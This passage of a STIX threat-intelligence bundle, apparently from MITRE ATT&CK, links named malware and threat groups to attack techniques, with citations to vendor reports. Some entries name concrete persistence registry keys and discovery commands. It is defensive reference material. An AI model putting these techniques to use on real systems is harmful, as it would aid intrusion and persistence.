            "type": "relationship",
            "modified": "2020-03-16T23:44:39.226Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) adds a shortcut file to the startup folder for persistence.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--eaed4cbc-d5d1-4274-af09-62d98ae1afc7",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.929Z",
            "created": "2019-01-30T13:42:09.419Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has used Tor relays for Command and Control servers.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--0f97d56a-3484-47fb-a232-5a20121fa89c",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2019-04-17T22:22:21.950Z",
            "created": "2019-01-30T13:53:14.944Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "source_name": "Symantec Gallmaker Oct 2018"
                }
            ],
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent victims a lure document with a warning that asked victims to \u201cenable content\u201d for execution.(Citation: Symantec Gallmaker Oct 2018)",
            "id": "relationship--2552aaa5-2cd7-4940-a428-220412851242",
            "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:29:24.880Z",
            "created": "2019-01-30T14:26:43.168Z"
        },
        {
            "id": "relationship--bb371ea5-33c4-42e7-bcb0-3374240da553",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) uses launchctl to enable screen sharing on the victim\u2019s machine.(Citation: Securelist Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.062Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) used the <code>net use</code> command to get a listing on network connections.(Citation: Mandiant APT1)",
            "id": "relationship--886942af-c1e9-49e9-af7e-98d1899f3000",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.330Z",
            "created": "2019-01-30T15:33:07.504Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can delete files from the system.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--6e0796d1-4bba-4e18-85fd-8e0d86bf8b35",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.186Z",
            "created": "2019-01-30T15:43:19.404Z"
        },
        {
            "id": "relationship--75d124da-bb01-422f-bbf1-a472c841741b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can walk through directories and recursively search for strings in files.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.988Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can download and execute additional payloads.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--2e83c5c4-76f3-46a3-980f-0063069671cf",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T18:11:42.227Z",
            "created": "2019-01-30T16:39:54.531Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can execute PowerShell scripts via DDE.(Citation: Securelist MuddyWater Oct 2018)",
            "id": "relationship--5ac271fa-d3a7-40a6-8862-3eb73331ae99",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.759Z",
            "created": "2019-01-30T17:33:40.982Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can browse the file system.(Citation: McAfee Night Dragon)",
            "id": "relationship--4990cf9a-9041-45c6-9d31-232ddb770341",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T16:07:38.960Z",
            "created": "2019-01-30T17:48:35.646Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) sent spearphishing emails containing links to compromised websites where malware was downloaded.(Citation: McAfee Night Dragon)",
            "id": "relationship--0d474ebe-5aff-4c13-92e6-afe04d6cefe0",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.847Z",
            "created": "2019-01-30T18:02:59.381Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) adds the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code> to establish persistence.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--fdc9c7e3-4467-4f57-af5b-156cf2f9d189",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.938Z",
            "created": "2019-01-30T18:58:04.035Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has added persistence by registering the file name for the next stage malware under <code>HKCU\\Environment\\UserInitMprLogonScript</code>.(Citation: Morphisec Cobalt Gang Oct 2018)",
            "id": "relationship--f9283994-d216-4796-989d-a375eb4834a9",
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "type": "relationship",
            "modified": "2020-01-17T22:28:55.233Z",
            "created": "2019-01-30T19:27:46.126Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cybereason Oceanlotus May 2017",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) has several commands to search directories for files.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--9c3faa58-eb39-407a-8233-8f43f53aa777",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.656Z",
            "created": "2019-01-30T20:01:45.464Z"
        },
        {
            "id": "relationship--ca3f0924-306a-409e-a1b6-135b781f3dbf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) can launch cmd.exe to execute commands on the system.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:06:05.384Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A variant of [Elise](https://attack.mitre.org/software/S0081) executes <code>dir C:\\progra~1</code> when initially run.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Lotus Blossom Jun 2015",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
                },
                {
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "source_name": "Accenture Dragonfish Jan 2018"
                }
            ],
            "type": "relationship",
            "modified": "2019-10-25T15:23:58.429Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.845Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--6bf4098c-7667-44df-bdaa-076b9099f851",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use HTTP for command and control.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:10:50.826Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--00d1f959-5469-4a9c-b33d-93f315719a6c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has used HTTP for C2, including sending error codes in Cookie headers.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.658Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--31a72381-c672-404f-afd2-17bfb2aa3078",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[iKitten](https://attack.mitre.org/software/S0278) prompts the user for their credentials.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "relationship",
            "modified": "2020-01-17T22:37:17.383Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--70a93fc8-83c0-4407-8224-ae447af1235a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WinMM](https://attack.mitre.org/software/S0059) is usually configured with primary and backup domains for C2 communications.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-05-03T16:45:45.253Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses scripts to enumerate IP ranges on the victim network. [menuPass](https://attack.mitre.org/groups/G0045) has also issued the command <code>net view /domain</code> to a [PlugX](https://attack.mitre.org/software/S0013) implant to gather information about remote systems on the network.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.543Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--093f8796-b394-490b-8048-115f4ee32959",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
            "type": "relationship",
            "modified": "2020-03-17T15:11:05.984Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) identifies security software such as antivirus through the Security module.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/",
                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
                },
                {
                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/",
                    "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame Functionality"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-06-06T14:35:54.012Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6deeb486-90c3-4279-8549-17c81ea2466b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Elise](https://attack.mitre.org/software/S0081) performs timestomping of a CAB file it creates.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.890Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) can execute a task to download a file.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.722Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ISMInjector](https://attack.mitre.org/software/S0189) creates scheduled tasks to establish persistence.(Citation: OilRig New Delivery Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "OilRig New Delivery Oct 2017",
                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
                }
            ],
            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:35:37.266Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962",
